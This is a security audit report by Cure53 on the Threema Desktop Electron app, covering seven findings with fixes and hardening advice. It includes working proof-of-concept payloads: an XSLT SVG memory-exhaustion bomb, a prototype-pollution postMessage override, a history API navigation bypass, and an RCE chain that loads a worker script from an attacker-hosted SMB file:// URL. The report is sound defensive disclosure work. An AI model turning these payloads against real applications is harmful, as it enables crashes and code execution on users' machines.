Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report Threema Desktop App 01.2024

Cure53, Dr.-Ing. M. Heiderich, MSc. M. Pedhapati, Dipl.-Ing. A. Inführ, M. Kinugawa, P. Papurt

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Security and Privacy by Design - Threema is the messenger with rigorous data protection and rock-solid security. The chat app was developed with “Privacy by Design” as the guiding principle.”

From https://threema.ch/en/home

This report describes the results of a security assessment of the Threema Desktop application complex, with the focus on the Svelte UI, the backend components and IPC, as well as the network communications. The project, which included a penetration test and a dedicated source code audit, was carried out by Cure53 in January 2024.

Registered as *3MA-03*, the examination was requested by Threema GmbH in November 2023 and then scheduled to start in January 2024. While both sides had ample time to prepare for this collaboration, it should be noted that Cure53 has cooperated on security matters with Threema in the past. The current project marks the third instance of pentesting provided by Cure53 to Threema.

In terms of the exact timeline and specific resources allocated to *3MA-03*, Cure53 completed the research in CW03 and CW04 in 2024. In order to achieve the expected coverage for this task, a total of sixteen days were invested. In addition, it should be noted that a team of five senior testers was formed and assigned to the preparations, execution, documentation and delivery of this project.

For optimal structuring and tracking of tasks, the examination was split into three separate work packages (WPs):

- **WP1**: White-box penetration tests & audits against Threema Desktop Svelte UI
- **WP2**: White-box penetration tests & audits against Threema Desktop backend & IPC
- **WP3**: White-box penetration tests & audits against Threema Desktop network communications

As the titles of the WPs indicate, white-box methodology was utilized. Cure53 was provided with builds, documentation, test-user credentials, as well as all further means of access required to complete the test. Additionally, all sources corresponding to the test-targets were shared to make sure the project can be executed in line with the agreed-upon framework.

The project could be completed without any major problems. To facilitate a smooth transition into the testing phase, all preparations were completed in CW02, i.e., in the week preceding the tests.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Throughout the engagement, communications were conducted via a private, dedicated and shared Threema channel. Stakeholders - including the Cure53 testers and the internal staff from Threema - could participate in discussions in this space, which was already pre-established during past engagements.

Not many questions had to be posed by Cure53 and the quality of all project-related interactions was consistently excellent. Ongoing exchanges contributed positively to the overall outcomes of this project. Significant roadblocks could be avoided thanks to clear and diligent preparation of the scope.

Cure53 offered frequent status updates about the test and the emerging findings. Live-reporting was offered by Cure53 and was used for a selection of findings via the aforementioned Threema channel.

The Cure53 team succeeded in achieving very good coverage of the WP1-WP3 targets. Of the seven security-related discoveries, three were classified as security vulnerabilities and four were categorized as general weaknesses with lower exploitation potential. It should be noted that the final total of problems is moderate, which can be seen as a positive sign about the overall security posture of the Threema Desktop app. Similarly, no *Critical* or even *High*-scored issues were identified in the frames of *3MA-03.*

The following sections first describe the scope and key test parameters, as well as how the WPs were structured and organized. Next, all findings are discussed in grouped vulnerability and miscellaneous categories. Flaws assigned to each group are then discussed chronologically. In addition to technical descriptions, PoC and mitigation advice will be provided where applicable.

The report closes with drawing broader conclusions relevant to this January 2024 project. Based on the test team's observations and collected evidence, Cure53 elaborates on the general impressions and reiterates the verdict. The final section also includes tailored hardening recommendations for the Threema desktop application complex.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration tests & code audits against Threema desktop app built using Electron**
  - **WP1**: White-box penetration tests & audits against Threema desktop Svelte UI
    - **Sources:**
      - All relevant sources were shared with Cure53
        - *Threema-desktop-2.0-beta26-source-cure53.tar.gz*
    - **Builds:**
      - **macOS ARM:**
        - https://releases.threema.ch/desktop/2.0-beta26/threema-desktop-v2.0-beta26-macos-arm64.dmg
      - **macOS Intel:**
        - https://releases.threema.ch/desktop/2.0-beta26/threema-desktop-v2.0-beta26-macos-x64.dmg
      - **Windows Intel*:***
        - https://releases.threema.ch/desktop/2.0-beta26/threema-desktop-v2.0-beta26-windows-x64.msix
      - **Linux:**
        - Available on *flatpak*
      - **Custom build:**
        - *npm* run *dist:consumer-live*
    - **Version to be audited:**
      - 2.0 Beta 26
  - **WP2**: White-box penetration tests & audits against Threema Desktop backend & IPC
    - See WP1
  - **WP3**: White-box penetration tests & audits against Threema Desktop network comms
    - See WP1
  - **Credentials for test-users:**
    - **Self registration user IDs:**
      - KSW6WKAV
      - DA8XV6U4
      - PJJPAZEY
      - H36KZSX3
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, each ticket has been given a unique identifier (e.g., *3MA-03-001*) to facilitate any future follow-up correspondence.

3MA-03-001 WP1: Denial-of-Service via SVG inline preview *(Low)*

Fix Note: *Fixed in Beta 28. This also affects Chromium, where the issue remains unfixed to date: https://issues.chromium.org/issues/324853421*

It was found that the Threema application supports an inline display of images in messages. Additionally, thumbnail images of certain resources are displayed via HTML img tags as well. The currently deployed code only requires the MIME-type to start with *"image/"*. It is, therefore, possible to send a specifically crafted SVG image resource to a victim and effectively cause a Denial-of-Service of the Threema application by consuming all of the available memory as soon as the image is actively displayed by the user.

To verify this issue, the application code was modified to include the aforementioned malicious SVG structure as an inline image. After modifying the code in a manner documented below, the attack can be triggered by simply sending a benign JPG file to another user and as soon as he clicks on the displayed preview image, the malicious SVG payload is rendered, causing the application to hang and crash.

Originally it was thought that the thumbnail preview functionality is affected as well but the DoS could not be reproduced.

Modified file:
src/app/ui/modal/media-message/index.ts

Modified code:

```
export async function resizeImage(
    file: File,
    log?: Logger,
): Promise<{blob: Blob; dimensions: Dimensions} | undefined> {
    [...]
    let mySVG = atob('<Base64 encoded SVG payload>')
    let myBlob = new Blob([mySVG],{"type":"image/svg+xml"});
    return {blob: myBlob, dimensions: result.resizedDimensions};
    //return {blob: result.resized, dimensions: result.resizedDimensions};
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Modified file:
src/common/network/protocol/task/csp/outgoing-conversation-message.ts

Modified code:

```
private _getCspEncoder(): LayerEncoder<
        TextEncodable | FileEncodable | GroupMemberContainerEncodable
    > {
        [...]
            case 'audio': {
                const fileJson = getFileJsonData(messageModel);
                /* Modification
                * to enforce inline display for SVG image type
                * setting j to 1 should be sufficient but setting .i to 1
too also worked
                */
                fileJson.i=1;
                fileJson.j=1;
                encoder = structbuf.bridge.encoder(structbuf.csp.e2e.File,
{
                    file: UTF8.encode(JSON.stringify(fileJson)),
                });
                break;
            }
            default:
                return unreachable(messageModel);
        }
```

SVG PoC:

```
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>
]>
<root>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
 <xsl:stylesheet id="stylesheet" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<pwnage/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
 </xsl:template>
 </xsl:stylesheet>
</root>
```

Affected file:
src/common/network/protocol/task/common/file.ts

Affected code:

```
export function getFileBasedMessageTypeAndExtraProperties(
    fileData: FileJson,
    log: Logger,
):
    | Pick<CommonFileMessageInit, 'type'>
    | Pick<CommonImageMessageInit, 'type' | 'renderingType' | 'animated' |
'dimensions'>
    | Pick<CommonVideoMessageInit, 'type' | 'duration' | 'dimensions'>
    | Pick<CommonAudioMessageInit, 'type' | 'duration'> {
    const isMediaOrSticker =
        fileData.renderingType === 'media' || fileData.renderingType ===
'sticker';
    if (fileData.file.mediaType.startsWith('image/') && isMediaOrSticker) {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

An allow-list for supported image MIME-types should be crafted and deployed. The list needs to omit *image/svg+xml.* In case this is not feasible, it is at least recommended to reject any thumbnails and images that specify the SVG MIME-type. This will remove the possibility of causing DoS problems for the targeted Threema user.

3MA-03-002 WP1: DoS via unsafe property access in file-type handling *(Medium)*

***Fix Note**: Fixed in Beta 28.*

The process used to determine the file extension of a file sent to a chat could cause an improper JavaScript property access, resulting in DoS that makes the chat room unusable. The issue can be reproduced via the following steps.

Steps to reproduce:

1. Open DevTools on the desktop application.
2. Set a conditional breakpoint at the highlighted line of the *app.asar/build/electron/app/index-cda21d19.js* file.

   Setting the breakpoint:
   ```
   _requestResponseMessage(ep, msg, transfers) {
     return new Promise((resolve) => { //Cure53: Set breakpoint here
       const id = this._id.next();
       [...]
     });
   }
   ```

   Condition:
   ```
   msg.argumentList[0].value.type==='files'
   ```

3. Keep DevTools open and send any file to any chat. The breakpoint set in *Step 2* will hit.

4. While stopping at that breakpoint, execute the following code in DevTools console to modify the *mediaType* property.

   Code to be executed on DevTools console:
   ```
   msg.argumentList[0].value.files[0].mediaType="constructor";
   ```

5. Exit the breakpoint. The file with the crafted *mediaType* property stored as *metadata* will be sent and an error will be thrown via the inappropriate JavaScript property access. This will prevent all room members from seeing messages sent in that chat room.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Thrown error:

```
TypeError: array2.at is not a function
    at pickExtension (file:///C:/[...]/app.asar/build/electron/app/index-
cda21d19.js:63477:24)
    at getSanitizedFileNameDetails
(file:///C:/[...]/app.asar/build/electron/app/index-cda21d19.js:63504:40)
    at $$self.$$.update
(file:///C:/[...]/app.asar/build/electron/app/index-cda21d19.js:63807:33)
    at init (file:///C:/[...]/app.asar/build/electron/app/index-
cda21d19.js:21041:6)
    at new FileInfo
[...]
```

This problem is due to an incorrect usage of an "*in*" operator. Before performing the property access, the code tries to check if the specified *mediaType* property matches one of the listed MIME-types using the "*in*" operator, however the "*in*" operator[1] returns *true* even for the properties in the prototype chain.

Because of this, even though the *constructor* included in *Object.prototype* or *__proto__* is passed, the code returns *true*. The following JavaScript snippet explains this behavior.

JavaScript snippet:

```
obj={"foo":1,"bar":1};
test="constructor";
test in obj;// true
```

As a result, unexpected property access such as *obj["constructor"]* is performed and an error which leads to this DoS transpires in the subsequent processing. The affected code was found in the following file and can be consulted in the highlighted fragment next.

Affected file:
libs/threema-svelte-components/src/utils/mediatype.ts

Affected code:

```
export function mediaTypeToExtensions(mediaType: string): string[] |
undefined {
    if (mediaType in types) {
        return types[mediaType];
    }
    return undefined;
}
```

The impact of this DoS is limited as only this one room to which the crafted file was sent becomes unusable. Therefore, the impact was considered to be *Medium*.

[1] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in#inherited_properties

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To avoid unexpected property access, it is recommended checking if the property is an *own-property* using the *Object.hasOwn* method[2] instead of the "*in*" operator. This should take place prior to granting access for the particular property in the app.

3MA-03-003 WP1: Lack of *quarantine* flag on downloaded files *(Low)*

***Fix Note**: Fixed in Beta 28.*

It was discovered that files downloaded from the Threema desktop app do not have the *quarantine* flag set. This means that the files will not be treated as an untrusted item from the Internet. As such, the files will not be checked by MacOS's Gatekeeper.

Steps to reproduce:

1. Download any file from a chat using the Threema Desktop app.
2. In the *Terminal*, run *xattr <file name>*. Verify that the *com.apple.quarantine* attribute is not present.

Cure53 recommends adding the *quarantine xattr* on all files downloaded from chats in the Threema Desktop app. This should apply the files with the correct MacOS Gatekeeper protections.

[2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

3MA-03-004 WP1: Insecure web preferences for Electron renderer *(High)*

***Client Note**: Unfortunately the suggested recommendation (disable* `nodeIntegrationInWorker` *and enable* `sandbox`*) is not actionable today due to a limitation in Electron: Electron does not currently support preload scripts in workers, which is a requirement for our use case, where the worker handles all protocol logic, including encryption, parsing and persistence. This issue affects all projects using Electron that use the workers for non-trivial work.*

However, we implemented a different hardening measure in Beta 43 to handle the underlying risk: By deploying very strict "script-src" and "worker-src" CSP rules in combination with subresource integrity (injected script hashes for all our scripts), we can ensure that workers cannot be launched through XSS.

In parallel, we are investigating the options of either implementing the missing Electron feature ourselves, or changing the application architecture in order to move from web workers to Electron utility processes.

Some of the security-related options or features in Electron are not used properly in the Threema Desktop application. The current settings could lead to RCE, provided that an attacker could find a way to execute arbitrary JavaScript on the renderer (e.g., via XSS). The recommended settings are listed next.

- **Disable Node.js integration in Worker**: If the integration is not disabled, an attacker can use any Node.js feature just by relying on the *require()* function inside the Web Worker. This means achieving RCE via that call. To disable this, set the *nodeIntegrationInWorker* property to *false* or remove this option in the *BrowserWindow* constructor's argument.
- **Enable sandbox**[3]: This mitigates the harm that malicious code can cause by limiting access to most system resources. This is important to hinder the possibilities of the attackers when the renderer has been compromised. Without the sandbox, arbitrary code execution can be achieved through publicly known Chromium bugs when adversaries can execute arbitrary JavaScript inside the renderer. To enable sandboxing for all renderers, call the *app.enableSandbox()* API before the app's *ready* event is emitted.

[3] https://www.electronjs.org/docs/latest/tutorial/sandbox

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file:
src/electron/electron-main.ts

Affected code:

```
window = new electron.BrowserWindow({
  [...]
  webPreferences: {
    [...]
    nodeIntegration: false,
    nodeIntegrationInWorker: true, // TODO(DESK-79): Change to false once
worker preload scripts are supported in Electron
    nodeIntegrationInSubFrames: false,
    preload: path.join(__dirname, '..', 'electron-preload', 'electron-
preload.cjs'),
    // TODO(DESK-79): Enable `sandbox: true` once worker preload scripts
are supported in Electron
    webSecurity: true,
    allowRunningInsecureContent: false,
    webgl: false,
    plugins: false,
    experimentalFeatures: false,
    disableBlinkFeatures: [].join(','),
    contextIsolation: true,
    webviewTag: false,
    navigateOnDragDrop: false,
    spellcheck: false,
    // eslint-disable-next-line @typescript-eslint/naming-convention
    enableWebSQL: false,
  },
});
```

It is important to note that the team at Threema is aware of these shortcomings and is actively investigating methods to eliminate the associated risks. To address these issues, the integration of a security mechanism - such as *preload* scripts for workers - is necessary for working within the Electron framework.

It is recommended to disable the node features in the renderer inside the worker by setting the *nodeIntegrationInWorker* option to *false* or removing this option altogether. In parallel, the recommended sandboxing should be enabled.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

3MA-03-005 WP1: CSP hardening recommendations *(Medium)*

***Fix Note**: Fixed in Beta 28 (custom protocol) and further hardened with Beta 43 (Subresource Integrity).*

It was discovered that the current CSP configuration does not apply sufficient protection mechanisms in the context of XSS attacks. The highlighted setting below allows arbitrary JavaScript execution easily, provided that an XSS vulnerability exists.

Deployed CSP:

```
default-src 'self'; child-src 'none'; connect-src 'self'
https://*.threema.ch wss://*.threema.ch; font-src 'self'
https://static.threema.ch; frame-src 'none'; img-src 'self' data: blob:;
media-src 'self' data: blob:; object-src 'none'; script-src 'self' 'unsafe-
inline' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'
https://static.threema.ch; worker-src 'self'; base-uri 'none'; sandbox
allow-downloads allow-same-origin allow-scripts allow-forms allow-popups;
form-action 'none'; frame-ancestors 'none'; navigate-to 'none'; upgrade-
insecure-requests
```

The *'unsafe-inline'* set in the *script-src* directive makes it possible for the application to employ in-line elements, including HTML attributes such as enabling *onclick*; *script* tags containing in-line JavaScript code, as well as the *javascript:* protocol included within links. As a result, the attack surface for XSS vulnerabilities is unnecessarily extended.

Additionally, the *'self'* set on the *file:* URL does not provide enough protection. This is because, on Windows, resources on an SMB file server can be fetched via the *file:* protocol and are considered to be on *'self'* when being fetched from any *file:* URL. This allows arbitrary JavaScript execution via an attacker-provided script file located on the SMB file server.

The *'self'* set in other directives likewise means that retrieval from the SMB file server is allowed. Cure53 identified that RCE could be possible through XSS by combining the fact that the *'self'* is allowed in the *worker-src* directive, and that node integration is enabled on the worker scope. The RCE can be achieved via the following steps.

Steps to reproduce:

1. Host the following file on the SMB file server and make it accessible via the Internet.

   ***rce-worker.js*:**
   ```
   require('child_process').exec('calc');
   ```

2. Open the Threema desktop application.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

3. Open DevTools.
4. Execute the following code on the DevTools console. Note that the *file:* URL has to be replaced with the URL hosting the *rce-worker.js* resource prepared in *Step 1.* Also note that this code is executed via an XSS vulnerability in a real attack scenario. The calculator application will be executed as a result of the arbitrary code execution.

   RCE PoC (Windows only):
   ```
   new Worker('file://file-server-ip/rce-worker.js');
   ```

Code comments showed that the Threema team is aware of the current weaknesses of the deployed CSP rules. Although no actual XSS was found, the possibility that such a vulnerability could be used to cause a RCE shows that this problem-area should be attended to sooner rather than later.

It is recommended for the *'unsafe-inline'* to be removed from the *script-src* directive. Additionally, it is advised to restrict access to the unexpected *file:* URLs by intercepting fetches to *file:* URLs. This should be possible with a *protocol.handle* API[4].

3MA-03-006 WP1: Prototype-pollution via crafted *postMessage* *(Info)*

***Fix Note**: Fixed in Beta 31.*

It was discovered that sending a crafted *postMessage* from the *file:* origin to the worker can cause a prototype-pollution[5] issue on the worker scope. The application uses the Comlink library[6] to handle messages between the worker and *file:* origin. If a *SET* command used internally by the library when sending the message is replaced with a crafted value, it is possible to set an arbitrary value on *Object.prototype*, resulting in the prototype-pollution weakness.

The issue can be reproduced by executing the following JavaScript in the *file:* origin and then performing any operation that triggers sending of a *postMessage*, such as sending a chat message. If the PoC works correctly, an *Object.prototype.abc* in the worker scope will return a "*polluted*" string.

Notably, in a real attack, an adversary would execute this with XSS on the *file: origin*.

[4] https://www.electronjs.org/docs/latest/api/protocol#protocolhandlescheme-handler
[5] https://portswigger.net/web-security/prototype-pollution
[6] https://github.com/GoogleChromeLabs/comlink

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

PoC:

```
MessagePort.prototype._postMessage=MessagePort.prototype.postMessage;
MessagePort.prototype.postMessage=function(){
    return this._postMessage({"type":"SET","value":
{"type":"RAW","value":"polluted"},"path":["__proto__","__proto__","abc"]},
[]);
}
```

As mentioned in 3MA-03-004, the worker scope has node integration enabled, so - in the worst-case scenario - it could be possible to create script gadgets that can lead to RCE through the polluted properties. However, Cure53 was unable to discover such script gadgets during the testing period.

It is recommended to report this behavior to the maintainers of the Comlink library or process the message without using Comlink. Notably, it is unclear whether this behavior is considered a bug in the Comlink library, given that the Comlink library is not designed with the assumption that a message under full control of a user would ever be passed.

3MA-03-007 WP1: Navigation restriction bypass with *history* API *(Info)*

***Fix Note**: Fixed in Beta 31.*

The *history.replaceState* and *pushState* APIs usually allow changing the current URL to arbitrary same-origin URL. However, it was discovered that Electron permits replacing the current URL with an arbitrary URL, not just the same-origin URL, as long as these APIs are executed in a *file:* URL.

If a manual reload is performed on a page having the URL replaced by the *history* API, the Electron components will attempt to open the URL set after the replacement. This navigation is not caught by the *will-navigate* event listener, which is set in the Threema web application to prevent navigation. Hence, the arbitrary URL is opened on the renderer without being blocked.

For example, executing the following JavaScript and then reloading manually with *Ctrl + R* keys will open *http://example.com*.

PoC for opening *http://example.com/*:

```
history.replaceState('','','http://example.com/');
document.write('<h1>Please reload with Ctrl + R');
```

Although Cure53 was unable to link this behavior to any other exploits, it may be abused in some way in the future when XSS vulnerabilities are found. The behavior that allows a *file*: origin to replace the current URL with an arbitrary URL via the *history* API should be judged as a bug or vulnerability that Electron needs to fix. It is recommended to report this error to the Electron developers as soon as possible.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

Cure53 concludes that the Threema Desktop application has already benefited from extensive hardening and security measures. As the outcomes of this *3MA-03* project demonstrate, the complex managed to avert severe threats and vulnerabilities.

Nevertheless, as the list of findings from this January 2024 assessment indicate, there are still some areas which could require some further work and improvements. It is hoped that the findings can inform achievement of an excellent level of security for the Threema Desktop application in the near future.

To comment on the process adopted for this joint venture, all parts of the Threema Desktop application were thoroughly tested for various potential vulnerabilities. This included both the Svelte codebase, all renderer-side code, Electron integrations, and all protocol-level components.

The Svelte components were checked for issues resulting in code execution through a variety of sinks, particularly via maliciously crafted messages. Specifically, the Svelte templates were studied in depth for any coding mistakes that could introduce HTML injection vulnerabilities.

Moreover, an explicit focus was set on the usage of the *@Html* directive as it disables the framework's auto-escaping mechanism. The directive is used sparingly and no vulnerable instance was discovered. This held despite the fact that the utilized markdown functionality and linkification library were tested in depth.

One main field of interest was the parsing and validation of messages. Significant effort was spent verifying that the message rendering system, which constructs HTML as a string before insertion into the DOM, can be judged as safe in relation to injection attacks. This particularly included mutation XSS issues.

Generally speaking, the deployed schemas are solid regarding the types of properties, yet specified values need to be handled more with care. As documented in 3MA-03-001, omissions led to the unintended support of SVG images, which can be abused to trigger DoS problems. One more DoS could be triggered through improper property access when a crafted media-type was being specified (3MA-03-002).

The configuration of the Electron's security-related options was checked, and some potentially risky settings were found (see 3MA-03-004). As mentioned in the ticket, the team at Threema is aware of these shortcomings and is actively investigating methods to resolve them.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

As a defense-in-depth layer, the Threema application deploys a protocol allow-list before passing a URL to the operating system, which stops attack vectors via malicious protocol handlers like file://. The deployed Content Security Policy was checked. Rules that are not strict enough seem to be in use (3MA-03-005). Again, the Threema team seems to be aware of this, judging by the comments in the code. Notably, an Electron-specific *file:* URL handling introduced the bypass and allowed RCE via worker, as explained in the associated ticket.

The message communication between worker and *file: origin* was checked. Cure53 confirmed that prototype-pollution can be caused (3MA-03-006). Although the actual way of exploitation was not identified, it should be noted that the prototype in a worker scope with a node integration could be polluted.

Bypassing navigation restrictions was also attempted. The efforts succeeded through the history API (3MA-03-007). Note that this may be a bug in Electron and should be considered for reporting to the Electron developers directly. Next, Threema's interaction with its local SQL database was investigated, including the search for possible SQL injection issues. Throughout the code, an SQL library is used to craft SQL queries, which ensures that user-controlled values are properly escaped. As shown by the lack of any SQL-related findings, all SQL statements are properly secured.

As an additional protection regarding the locally stored SQL database, the whole database file is encrypted. During the assessment it was confirmed that no unencrypted message or user-related information was unintentionally leaked in any of the locally stored files. The Desktop app's implementation of the Threema network protocols was investigated. This focused on issues that could let a malicious attacker compromise user-privacy. Alternatives such as triggering a DoS or injecting content into the Threema application were also considered.

As the Threema application deploys certificate pinning for Threema domains used by the Electron browser window, the hostname verification was an important part looked at during this *3MA-03* project. The logic to parse the allow-listed Threema domains into regular expressions was deemed appropriate. Additional tests towards redirects or invalid certificates were correctly detected and catched.

Overall, the Cure53 team believes that Threema is quite secure. Although a few defense-in-depth tasks could further ameliorate its general posture, the testing team was quite impressed with the overall security standing of the components in scope. The team's impression is that significant thought was put into the security of the application by the Threema development team.

Cure53 would like to thank Danilo Bargen & Silvan Engeler from the Threema GmbH team for their excellent project coordination, support and assistance, both before and during this assignment.